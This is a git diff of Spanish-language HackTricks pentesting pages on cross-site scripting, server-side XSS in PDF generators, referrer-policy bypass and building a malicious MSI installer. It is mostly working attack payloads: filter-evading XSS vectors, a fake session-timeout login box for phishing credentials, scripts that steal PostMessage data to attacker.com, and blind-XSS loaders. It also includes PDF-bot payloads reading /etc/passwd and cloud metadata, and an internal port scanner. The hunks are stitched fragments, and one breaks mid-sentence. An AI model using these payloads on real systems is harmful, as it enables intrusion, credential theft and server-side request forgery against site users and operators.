[Inyección de Plantilla del Lado del Cliente](../client-side-template-injection-csti.md). +Además, ten en cuenta [Inyección de Plantilla del Lado del Cliente](../client-side-template-injection-csti.md). ### Dentro del atributo de etiquetas HTML @@ -57,7 +57,7 @@ Si tu entrada está reflejada dentro del valor del atributo de una etiqueta, pod 1. **Escapar del atributo y de la etiqueta** (entonces estarás en el HTML crudo) y crear una nueva etiqueta HTML para abusar: `"><img [...]` 2. Si **puedes escapar del atributo pero no de la etiqueta** (`>` está codificado o eliminado), dependiendo de la etiqueta podrías **crear un evento** que ejecute código JS: `" autofocus onfocus=alert(1) x="` 3. Si **no puedes escapar del atributo** (`"` está siendo codificado o eliminado), entonces dependiendo de **qué atributo** se está reflejando tu valor **si controlas todo el valor o solo una parte**, podrás abusar de ello. Por **ejemplo**, si controlas un evento como `onclick=` podrás hacer que ejecute código arbitrario cuando se haga clic. Otro **ejemplo** interesante es el atributo `href`, donde puedes usar el protocolo `javascript:` para ejecutar código arbitrario: **`href="javascript:alert(1)"`** -4. Si tu entrada está reflejada dentro de "**etiquetas no explotables**", podrías intentar el truco del **`accesskey`** para abusar de la vulnerabilidad (necesitarás algún tipo de ingeniería social para explotar esto): **`" accesskey="x" onclick="alert(1)" x="** +4. Si tu entrada está reflejada dentro de "**etiquetas no explotables**", podrías intentar el truco del **`accesskey`** para abusar de la vulnerabilidad (necesitarás algún tipo de ingeniería social para explotar esto): **`" accesskey="x" onclick="alert(1)" x="`** Ejemplo extraño de Angular ejecutando XSS si controlas un nombre de clase: ```html @@ -124,36 +124,7 @@ some-same-origin-method-execution.md ### DOM -Hay **código JS** que está utilizando **inseguramente** algunos **datos controlados por un atacante** como `location.href`. Un atacante podría abusar de esto para ejecutar código JS arbitrario. - -{{#ref}} -dom-xss.md -{{#endref}} - -### **Universal XSS** - -Este tipo de XSS se puede encontrar **en cualquier lugar**. No dependen solo de la explotación del cliente de una aplicación web, sino de **cualquier** **contexto**. Este tipo de **ejecución arbitraria de JavaScript** incluso puede ser abusada para obtener **RCE**, **leer** **archivos** **arbitrarios** en clientes y servidores, y más.\ -Algunos **ejemplos**: - -{{#ref}} -server-side-xss-dynamic-pdf.md -{{#endref}} - -{{#ref}} -../../network-services-pentesting/pentesting-web/electron-desktop-apps/ -{{#endref}} - -## Bypass de WAF codificando imagen - -![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) - -## Inyectando dentro de HTML crudo - -Cuando tu entrada se refleja **dentro de la página HTML** o puedes escapar e inyectar código HTML en este contexto, lo **primero** que necesitas hacer es verificar si puedes abusar de `<` para crear nuevas etiquetas: Solo intenta **reflejar** ese **carácter** y verifica si está siendo **codificado en HTML** o **eliminado** o si se **refleja sin cambios**. **Solo en este último caso podrás explotar este caso**.\ -Para estos casos también **ten en cuenta** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ -_**Nota: Un comentario HTML se puede cerrar usando\*\*\*\*\*\***\***\*`-->`\*\***\***\*o \*\*\*\*\*\***`--!>`\*\*_ - -En este caso y si no se utiliza ninguna lista negra/blanca, podrías usar cargas útiles como: +Hay **código JS** que está utilizando **inseguramente** algunos **datos controlados por un atacante** como `location.href`. Un atacante podría ```html <script> alert(1) @@ -233,7 +204,7 @@ onerror=alert`1` <!-- Taken from the blog of Jorge Lajara --> <svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw> ``` -Los últimos utilizan 2 caracteres unicode que se expanden a 5: telsr\ +The last one is using 2 unicode characters which expands to 5: telsr\ Más de estos caracteres se pueden encontrar [aquí](https://www.unicode.org/charts/normalization/).\ Para verificar en qué caracteres se descomponen, consulta [aquí](https://www.compart.com/en/unicode/U+2121). @@ -241,13 +212,13 @@ Para verificar en qué caracteres se descomponen, consulta [aquí](https://www.c Si para explotar la vulnerabilidad necesitas que el **usuario haga clic en un enlace o un formulario** con datos prepopulados, podrías intentar [**abusar del Clickjacking**](../clickjacking.md#xss-clickjacking) (si la página es vulnerable). -### Imposible - Marcado Colgante +### Impossible - Dangling Markup -Si solo piensas que **es imposible crear una etiqueta HTML con un atributo para ejecutar código JS**, deberías revisar [**Marcado Colgante**](../dangling-markup-html-scriptless-injection/index.html) porque podrías **explotar** la vulnerabilidad **sin** ejecutar **código JS**. +Si solo piensas que **es imposible crear una etiqueta HTML con un atributo para ejecutar código JS**, deberías revisar [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html) porque podrías **explotar** la vulnerabilidad **sin** ejecutar **código JS**. -## Inyectando dentro de la etiqueta HTML +## Injecting inside HTML tag -### Dentro de la etiqueta/escapando del valor del atributo +### Inside the tag/escaping from attribute value Si estás **dentro de una etiqueta HTML**, lo primero que podrías intentar es **escapar** de la etiqueta y usar algunas de las técnicas mencionadas en la [sección anterior](#injecting-inside-raw-html) para ejecutar código JS.\ Si **no puedes escapar de la etiqueta**, podrías crear nuevos atributos dentro de la etiqueta para intentar ejecutar código JS, por ejemplo, usando alguna carga útil como (_ten en cuenta que en este ejemplo se utilizan comillas dobles para escapar del atributo, no las necesitarás si tu entrada se refleja directamente dentro de la etiqueta_): @@ -295,7 +266,7 @@ Ten en cuenta que **cualquier tipo de codificación HTML es válida**: ```python <a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a> ``` -**Eludir el evento interno utilizando codificación Unicode** +**Bypass dentro del evento usando codificación Unicode** ```javascript //For some reason you can use unicode to encode "alert" but not "(1)" <img src onerror=\u0061\u006C\u0065\u0072\u0074(1) /> @@ -326,7 +297,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc **Lugares donde puedes inyectar estos protocolos** **En general**, el protocolo `javascript:` puede ser **utilizado en cualquier etiqueta que acepte el atributo `href`** y en **la mayoría** de las etiquetas que aceptan el **atributo `src`** (pero no `<img`) -```markup +```html <a href="javascript:alert(1)"> <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="> <form action="javascript:alert(1)"><button>send</button></form> @@ -385,7 +356,7 @@ Si puedes inyectar cualquier URL en una etiqueta **`<a href=`** arbitraria que c ### sobre el Bypass de Controladores de Eventos -Primero, consulta esta página ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) para obtener útiles **"on" event handlers**.\ +Primero, consulta esta página ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) para obtener útiles **"on" controladores de eventos**.\ En caso de que haya alguna lista negra que te impida crear estos controladores de eventos, puedes intentar los siguientes bypasses: ```javascript <svg onload%09=alert(1)> //No safari @@ -423,7 +394,7 @@ onbeforetoggle="alert(2)" /> <div popover id="newsletter">Newsletter popup</div> ``` Desde [**aquí**](https://portswigger.net/research/xss-in-hidden-input-fields): Puedes ejecutar una **carga útil de XSS dentro de un atributo oculto**, siempre que puedas **persuadir** a la **víctima** para que presione la **combinación de teclas**. En Firefox Windows/Linux, la combinación de teclas es **ALT+SHIFT+X** y en OS X es **CTRL+ALT+X**. Puedes especificar una combinación de teclas diferente usando una tecla diferente en el atributo de acceso. Aquí está el vector: -```markup +```html <input type="hidden" accesskey="X" onclick="alert(1)"> ``` **La carga útil de XSS será algo como esto: `" accesskey="x" onclick="alert(1)" x="`** @@ -486,25 +457,25 @@ Si `<>` están siendo sanitizados, aún puedes **escapar la cadena** donde se en ';alert(document.domain)// \';alert(document.domain)// ``` -### Literales de plantilla \`\` +### Template literals \`\` -Para construir **cadenas** además de comillas simples y dobles, JS también acepta **comillas invertidas** **` `` `**. Esto se conoce como literales de plantilla, ya que permiten **expresiones JS incrustadas** utilizando la sintaxis `${ ... }`.\ -Por lo tanto, si encuentras que tu entrada está siendo **reflejada** dentro de una cadena JS que utiliza comillas invertidas, puedes abusar de la sintaxis `${ ... }` para ejecutar **código JS arbitrario**: +Para construir **cadenas** además de comillas simples y dobles, JS también acepta **backticks** **` `` `**. Esto se conoce como literales de plantilla, ya que permiten **expresiones JS incrustadas** utilizando la sintaxis `${ ... }`.\ +Por lo tanto, si encuentras que tu entrada está siendo **reflejada** dentro de una cadena JS que está utilizando backticks, puedes abusar de la sintaxis `${ ... }` para ejecutar **código JS arbitrario**: -Esto se puede **abusar** usando: +Esto puede ser **abusado** usando: ```javascript ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ``` -```````````````javascript +```javascript // This is valid JS code, because each time the function returns itself it's recalled with `` function loop() { return loop } -loop`````````````` -``````````````` +loop`` +``` ### Ejecución de código codificado -```markup +```html <script>\u0061lert(1)</script> <svg><script>alert&lpar;'1'&rpar; <svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary @@ -562,7 +533,7 @@ eval(8680439..toString(30))(983801..toString(36)) #!This is a 1 line comment, but "#!" must to be at the beggining of the first line -->This is a 1 line comment, but "-->" must to be at the beggining of the first line ``` -**Saltos de línea de JavaScript (del** [**truco de salto de línea de JavaScript**](#javascript-new-lines) **)** +**Saltos de línea de JavaScript (del** [**truco de saltos de línea de JavaScript**](#javascript-new-lines) **)** ```javascript //Javascript interpret as new line these chars: String.fromCharCode(10) @@ -599,7 +570,7 @@ console.log(log) //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com ``` **JavaScript sin paréntesis** -````javascript +```javascript // By setting location window.location='javascript:alert\x281\x29' x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x @@ -672,12 +643,12 @@ try{throw onerror=alert}catch{throw 1} 'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval} 'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval} // The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol. -```` +``` - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) - [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) **Llamada a función arbitraria (alert)** -````javascript +```javascript //Eval like functions eval('ale'+'rt(1)') setTimeout('ale'+'rt(2)'); @@ -735,7 +706,7 @@ top['al\145rt'](1) top['al\x65rt'](1) top[8680439..toString(30)](1) <svg><animate onbegin=alert() attributeName=x></svg> -```` +``` ## **Vulnerabilidades DOM** Hay **código JS** que está utilizando **datos controlados de manera insegura por un atacante** como `location.href`. Un atacante podría abusar de esto para ejecutar código JS arbitrario.\ @@ -752,7 +723,7 @@ Además, no olvides que **al final del post mencionado** puedes encontrar una ex ### Cookie XSS -Si puedes desencadenar un XSS enviando la carga útil dentro de una cookie, esto suele ser un self-XSS. Sin embargo, si encuentras un **subdominio vulnerable a XSS**, podrías abusar de este XSS para inyectar una cookie en todo el dominio logrando desencadenar el cookie XSS en el dominio principal u otros subdominios (los que son vulnerables a cookie XSS). Para esto puedes usar el ataque de cookie tossing: +Si puedes desencadenar un XSS enviando la carga útil dentro de una cookie, esto suele ser un self-XSS. Sin embargo, si encuentras un **subdominio vulnerable a XSS**, podrías abusar de este XSS para inyectar una cookie en todo el dominio logrando desencadenar el cookie XSS en el dominio principal u otros subdominios (los vulnerables a cookie XSS). Para esto puedes usar el ataque de cookie tossing: {{#ref}} ../hacking-with-cookies/cookie-tossing.md @@ -766,7 +737,7 @@ Quizás un usuario pueda compartir su perfil con el administrador y si el self X ### Reflejo de Sesión -Si encuentras algún self XSS y la página web tiene un **reflejo de sesión para administradores**, por ejemplo, permitiendo a los clientes pedir ayuda y para que el administrador te ayude, él verá lo que tú ves en tu sesión pero desde su sesión. +Si encuentras algún self XSS y la página web tiene un **reflejo de sesión para administradores**, por ejemplo, permitiendo a los clientes pedir ayuda, para que el administrador te ayude, verá lo que tú estás viendo en tu sesión pero desde su sesión. Podrías hacer que el **administrador desencadene tu self XSS** y robar sus cookies/sesión. @@ -794,7 +765,7 @@ El par "Key","Value" se devolverá así: Entonces, se insertará el atributo onfocus y ocurrirá XSS. ### Combinaciones especiales -```markup +```html <iframe/src="data:text/html,<svg onload=alert(1)>"> <input type=image src onerror="prompt(1)"> <svg onload=alert(1)// @@ -825,10 +796,10 @@ document['default'+'View'][`\u0061lert`](3) ``` ### XSS con inyección de encabezados en una respuesta 302 -Si descubres que puedes **inyectar encabezados en una respuesta de redirección 302**, podrías intentar **hacer que el navegador ejecute JavaScript arbitrario**. Esto es **no trivial** ya que los navegadores modernos no interpretan el cuerpo de la respuesta HTTP si el código de estado de la respuesta HTTP es 302, por lo que simplemente una carga útil de cross-site scripting es inútil. +Si descubres que puedes **inyectar encabezados en una respuesta de redirección 302**, podrías intentar **hacer que el navegador ejecute JavaScript arbitrario**. Esto **no es trivial** ya que los navegadores modernos no interpretan el cuerpo de la respuesta HTTP si el código de estado de la respuesta HTTP es 302, por lo que simplemente una carga útil de cross-site scripting es inútil. En [**este informe**](https://www.gremwell.com/firefox-xss-302) y [**este**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puedes leer cómo puedes probar varios protocolos dentro del encabezado Location y ver si alguno de ellos permite al navegador inspeccionar y ejecutar la carga útil de XSS dentro del cuerpo.\ -Protocolos conocidos pasados: `mailto://`, `//x:1/`, `ws://`, `wss://`, _encabezado Location vacío_, `resource://`. +Protocolos conocidos en el pasado: `mailto://`, `//x:1/`, `ws://`, `wss://`, _encabezado Location vacío_, `resource://`. ### Solo letras, números y puntos @@ -868,8 +839,10 @@ const char* const kSupportedJavascriptTypes[] = { ```html <script type="???"></script> ``` -- **módulo** (predeterminado, nada que explicar) -- [**webbundle**](https://web.dev/web-bundles/): Web Bundles es una función que te permite empaquetar un montón de datos (HTML, CSS, JS…) juntos en un **`.wbn`** archivo. +La respuesta es: + +- **module** (por defecto, nada que explicar) +- [**webbundle**](https://web.dev/web-bundles/): Web Bundles es una característica que te permite empaquetar un montón de datos (HTML, CSS, JS…) juntos en un **`.wbn`** archivo. ```html <script type="webbundle"> { @@ -898,7 +871,7 @@ import { partition } from "lodash" ``` Este comportamiento se utilizó en [**este informe**](https://github.com/zwade/yaca/tree/master/solution) para reasignar una biblioteca a eval para abusar de que puede desencadenar XSS. -- [**reglasdespeculación**](https://github.com/WICG/nav-speculation)**:** Esta función está principalmente destinada a resolver algunos problemas causados por la pre-renderización. Funciona así: +- [**reglasdespeculación**](https://github.com/WICG/nav-speculation)**:** Esta función es principalmente para resolver algunos problemas causados por la pre-renderización. Funciona así: ```html <script type="speculationrules"> { @@ -914,22 +887,22 @@ Este comportamiento se utilizó en [**este informe**](https://github.com/zwade/y } </script> ``` -### Web Content-Types to XSS +### Tipos de Contenido Web para XSS -(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Los siguientes tipos de contenido pueden ejecutar XSS en todos los navegadores: +(De [**aquí**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Los siguientes tipos de contenido pueden ejecutar XSS en todos los navegadores: - text/html - application/xhtml+xml - application/xml - text/xml - image/svg+xml -- text/plain (?? no está en la lista pero creo que vi esto en un CTF) -- application/rss+xml (off) -- application/atom+xml (off) +- text/plain (?? no está en la lista, pero creo que lo vi en un CTF) +- application/rss+xml (desactivado) +- application/atom+xml (desactivado) En otros navegadores, otros **`Content-Types`** pueden ser utilizados para ejecutar JS arbitrario, consulta: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) -### xml Content Type +### Tipo de Contenido xml Si la página está devolviendo un tipo de contenido text/xml, es posible indicar un espacio de nombres y ejecutar JS arbitrario: ```xml @@ -1363,7 +1336,7 @@ _Tiempos cortos indican un puerto que responde_ _Tiempos más largos indican que Revisa la lista de puertos prohibidos en Chrome [**aquí**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) y en Firefox [**aquí**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist). ### Caja para solicitar credenciales -```markup +```html <style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script> ``` ### Captura de contraseñas de autocompletar @@ -1404,7 +1377,7 @@ changeReq.send('csrf='+token+'&email=test@test.com') </script> ``` ### Robando mensajes de PostMessage -```markup +```html <img src="https://attacker.com/?" id=message> <script> window.onmessage = function(e){ @@ -1432,7 +1405,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots. ### Cargas útiles de XSS ciegas También puedes usar: [https://xsshunter.com/](https://xsshunter.com) -```markup +```html "><img src='//domain/xss'> "><script src="//domain/xss.js"></script> ><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a> @@ -1473,7 +1446,7 @@ También puedes usar: [https://xsshunter.com/](https://xsshunter.com) ``` ### Regex - Acceso a Contenido Oculto -De [**este informe**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) es posible aprender que incluso si algunos valores desaparecen de JS, aún es posible encontrarlos en atributos de JS en diferentes objetos. Por ejemplo, una entrada de un REGEX todavía se puede encontrar después de que se eliminó el valor de la entrada del regex: +De [**este informe**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) es posible aprender que incluso si algunos valores desaparecen de JS, todavía es posible encontrarlos en atributos de JS en diferentes objetos. Por ejemplo, una entrada de un REGEX todavía se puede encontrar después de que se eliminó el valor de la entrada del regex: ```javascript // Do regex with flag flag = "CTF{FLAG}" @@ -1500,7 +1473,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt ### XSS en Markdown -¿Puedes inyectar código Markdown que será renderizado? ¡Quizás puedas obtener XSS! Verifica: +¿Puedes inyectar código Markdown que será renderizado? ¡Quizás puedas obtener XSS! Revisa: {{#ref}} xss-in-markdown.md @@ -1530,18 +1503,10 @@ Si no puedes inyectar etiquetas HTML, podría valer la pena intentar **inyectar pdf-injection.md {{#endref}} -### XSS en Amp4Email - -AMP, destinado a acelerar el rendimiento de las páginas web en dispositivos móviles, incorpora etiquetas HTML complementadas por JavaScript para garantizar la funcionalidad con un énfasis en la velocidad y la seguridad. Soporta una variedad de componentes para diversas características, accesibles a través de [AMP components](https://amp.dev/documentation/components/?format=websites). - -El formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) extiende componentes AMP específicos a los correos electrónicos, permitiendo a los destinatarios interactuar con el contenido directamente dentro de sus correos electrónicos. - -Ejemplo [**writeup XSS en Amp4Email en Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). - ### XSS subiendo archivos (svg) Sube como imagen un archivo como el siguiente (de [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): -```markup +```html Content-Type: multipart/form-data; boundary=---------------------------232181429808 Content-Length: 574 -----------------------------232181429808 @@ -1559,13 +1524,13 @@ alert(1); -----------------------------232181429808-- ``` -```markup +```html <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript">alert("XSS")</script> </svg> ``` -```markup +```html <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> @@ -1598,13 +1563,13 @@ id="foo"/> ``` Encuentra **más cargas útiles SVG en** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) -## Trucos JS varios e información relevante +## Trucos JS Misceláneos e Información Relevante {{#ref}} other-js-tricks.md {{#endref}} -## Recursos de XSS +## Recursos XSS - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection) - [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list) diff --git a/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md b/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md index ccb1be472..6dca7704e 100644 --- a/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md +++ b/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md @@ -8,20 +8,20 @@ Si una página web está creando un PDF utilizando entrada controlada por el usu Así que, si el **bot creador de PDF encuentra** algún tipo de **etiquetas HTML**, va a **interpretarlas**, y puedes **abusar** de este comportamiento para causar un **Server XSS**. Por favor, ten en cuenta que las etiquetas `<script></script>` no siempre funcionan, así que necesitarás un método diferente para ejecutar JS (por ejemplo, abusando de `<img` ).\ -Además, nota que en una explotación regular podrás **ver/descargar el PDF creado**, así que podrás ver todo lo que **escribes a través de JS** (usando `document.write()` por ejemplo). Pero, si **no puedes ver** el PDF creado, probablemente necesitarás **extraer la información haciendo solicitudes web a ti** (Ciego). +Además, ten en cuenta que en una explotación regular podrás **ver/descargar el pdf creado**, así que podrás ver todo lo que **escribes a través de JS** (usando `document.write()` por ejemplo). Pero, si **no puedes ver** el PDF creado, probablemente necesitarás **extraer la información haciendo solicitudes web a ti** (Ciego). ### Generación de PDF popular - **wkhtmltopdf** es conocido por su capacidad para convertir HTML y CSS en documentos PDF, utilizando el motor de renderizado WebKit. Esta herramienta está disponible como una utilidad de línea de comandos de código abierto, lo que la hace accesible para una amplia gama de aplicaciones. - **TCPDF** ofrece una solución robusta dentro del ecosistema PHP para la generación de PDF. Es capaz de manejar imágenes, gráficos y cifrado, mostrando su versatilidad para crear documentos complejos. - Para aquellos que trabajan en un entorno Node.js, **PDFKit** presenta una opción viable. Permite la generación de documentos PDF directamente desde HTML y CSS, proporcionando un puente entre el contenido web y los formatos imprimibles. -- Los desarrolladores de Java pueden preferir **iText**, una biblioteca que no solo facilita la creación de PDF, sino que también soporta características avanzadas como firmas digitales y llenado de formularios. Su conjunto de características integral lo hace adecuado para generar documentos seguros e interactivos. +- Los desarrolladores de Java pueden preferir **iText**, una biblioteca que no solo facilita la creación de PDF, sino que también admite características avanzadas como firmas digitales y llenado de formularios. Su conjunto de características integral lo hace adecuado para generar documentos seguros e interactivos. - **FPDF** es otra biblioteca PHP, distinguida por su simplicidad y facilidad de uso. Está diseñada para desarrolladores que buscan un enfoque directo para la generación de PDF, sin necesidad de características extensas. ## Payloads ### Discovery -```markup +```html <!-- Basic discovery, Write somthing--> <img src="x" onerror="document.write('test')" /> <script>document.write(JSON.stringify(window.location))</script> @@ -35,8 +35,8 @@ Además, nota que en una explotación regular podrás **ver/descargar el PDF cre ``` ### SVG -Cualquiera de los payloads anteriores o siguientes puede ser utilizado dentro de este payload SVG. Se presentan como ejemplos un iframe que accede al subdominio de Burpcollab y otro que accede al endpoint de metadatos. -```markup +Cualquiera de las cargas útiles anteriores o siguientes puede ser utilizada dentro de esta carga útil SVG. Se incluyen como ejemplos un iframe que accede al subdominio de Burpcollab y otro que accede al endpoint de metadatos. +```html <svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500"> <g> <foreignObject width="800" height="500"> @@ -63,7 +63,7 @@ alert(1); Puedes encontrar muchos **otros payloads SVG** en [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) ### Divulgación de rutas -```markup +```html <!-- If the bot is accessing a file:// path, you will discover the internal path if not, you will at least have wich path the bot is accessing --> <img src="x" onerror="document.write(window.location)" /> @@ -72,7 +72,7 @@ if not, you will at least have wich path the bot is accessing --> ### Cargar un script externo La mejor manera de explotar esta vulnerabilidad es abusar de la vulnerabilidad para hacer que el bot cargue un script que controlas localmente. Luego, podrás cambiar la carga útil localmente y hacer que el bot la cargue con el mismo código cada vez. -```markup +```html <script src="http://attacker.com/myscripts.js"></script> <img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/> ``` @@ -82,7 +82,7 @@ La mejor manera de explotar esta vulnerabilidad es abusar de la vulnerabilidad p > Cambia `file:///etc/passwd` por `http://169.254.169.254/latest/user-data` por ejemplo para **intentar acceder a una página web externa (SSRF)**. > > Si SSRF está permitido, pero **no puedes alcanzar** un dominio o IP interesante, [verifica esta página para posibles bypasses](../ssrf-server-side-request-forgery/url-format-bypass.md). -```markup +```html <script> x=new XMLHttpRequest; x.onload=function(){document.write(btoa(this.responseText))}; @@ -90,7 +90,7 @@ x.open("GET","file:///etc/passwd");x.send(); </script> ``` -```markup +```html <script> xhzeem = new XMLHttpRequest(); xhzeem.onload = function(){document.write(this.responseText);} @@ -100,7 +100,7 @@ xhzeem.send(); </script> ``` -```markup +```html <iframe src=file:///etc/passwd></iframe> <img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/> <link rel=attachment href="file:///root/secret.txt"> @@ -112,11 +112,11 @@ xhzeem.send(); <meta http-equiv="refresh" content="0;url=file:///etc/passwd" /> ``` -```markup +```html <annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" /> ``` ### Retraso del bot -```markup +```html <!--Make the bot send a ping every 500ms to check how long does the bot wait--> <script> let time = 500; @@ -129,7 +129,7 @@ time += 500; <img src="https://attacker.com/delay"> ``` ### Escaneo de Puertos -```markup +```html <!--Scan local port and receive a ping indicating which ones are found--> <script> const checkPort = (port) => { @@ -145,14 +145,14 @@ checkPort(i); </script> <img src="https://attacker.com/startingScan"> ``` -### [SSRF](../ssrf-server-side-request-forgery/) +### [SSRF](../ssrf-server-side-request-forgery/index.html) -Esta vulnerabilidad se puede transformar muy fácilmente en un SSRF (ya que puedes hacer que el script cargue recursos externos). Así que solo intenta explotarlo (¿leer algunos metadatos?). +Esta vulnerabilidad se puede transformar muy fácilmente en un SSRF (ya que puedes hacer que el script cargue recursos externos). Así que solo intenta explotarla (¿leer algunos metadatos?). ### Attachments: PD4ML Hay algunos motores de HTML a PDF que permiten **especificar adjuntos para el PDF**, como **PD4ML**. Puedes abusar de esta función para **adjuntar cualquier archivo local** al PDF.\ -Para abrir el adjunto, abrí el archivo con **Firefox y hice doble clic en el símbolo de Clip** para **guardar el adjunto** como un nuevo archivo.\ +Para abrir el adjunto, abrí el archivo con **Firefox y hice doble clic en el símbolo del clip** para **guardar el adjunto** como un nuevo archivo.\ Capturar la **respuesta PDF** con burp también debería **mostrar el adjunto en texto claro** dentro del PDF. ```html <!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html --> diff --git a/src/todo/interesting-http.md b/src/todo/interesting-http.md index 29ea64c73..5e5a830cc 100644 --- a/src/todo/interesting-http.md +++ b/src/todo/interesting-http.md @@ -21,15 +21,15 @@ Referrer-Policy: strict-origin Referrer-Policy: strict-origin-when-cross-origin Referrer-Policy: unsafe-url ``` -## Contra-Mitigación +## Contramedidas Puedes anular esta regla utilizando una etiqueta meta HTML (el atacante necesita explotar una inyección HTML): -```markup +```html <meta name="referrer" content="unsafe-url"> <img src="https://attacker.com"> ``` ## Defensa -Nunca pongas datos sensibles dentro de parámetros GET o rutas en la URL. +Nunca pongas datos sensibles dentro de los parámetros GET o rutas en la URL. {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md b/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md index a07202382..536124a74 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md +++ b/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md @@ -6,8 +6,8 @@ La creación del instalador MSI se realizará utilizando wixtools, específicame Para una comprensión completa de los ejemplos de uso de wix MSI, se aconseja consultar [esta página](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with). Aquí, puedes encontrar varios ejemplos que demuestran el uso de wix MSI. -El objetivo es generar un MSI que ejecute el archivo lnk. Para lograr esto, se podría emplear el siguiente código XML ([xml de aquí](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root)): -```markup +El objetivo es generar un MSI que ejecute el archivo lnk. Para lograr esto, se podría emplear el siguiente código XML ([xml de aquí](https://0xrick.github.io/hack-the-box/ethereal/index.html#Creating-Malicious-msi-and-getting-root)): +```html <?xml version="1.0"?> <Wix xmlns="http://schemas.microsoft.com/wix/2006/wi"> <Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name" @@ -40,13 +40,13 @@ fail_here ``` Es importante notar que el elemento Package contiene atributos como InstallerVersion y Compressed, que especifican la versión del instalador e indican si el paquete está comprimido o no, respectivamente. -El proceso de creación implica utilizar candle.exe, una herramienta de wixtools, para generar un wixobject a partir de msi.xml. Se debe ejecutar el siguiente comando: +El proceso de creación implica utilizar candle.exe, una herramienta de wixtools, para generar un wixobject a partir de msi.xml. El siguiente comando debe ser ejecutado: ``` candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml ``` Además, vale la pena mencionar que se proporciona una imagen en la publicación, que muestra el comando y su salida. Puedes referirte a ella para obtener orientación visual. -Además, light.exe, otra herramienta de wixtools, se utilizará para crear el archivo MSI a partir del wixobject. El comando que se ejecutará es el 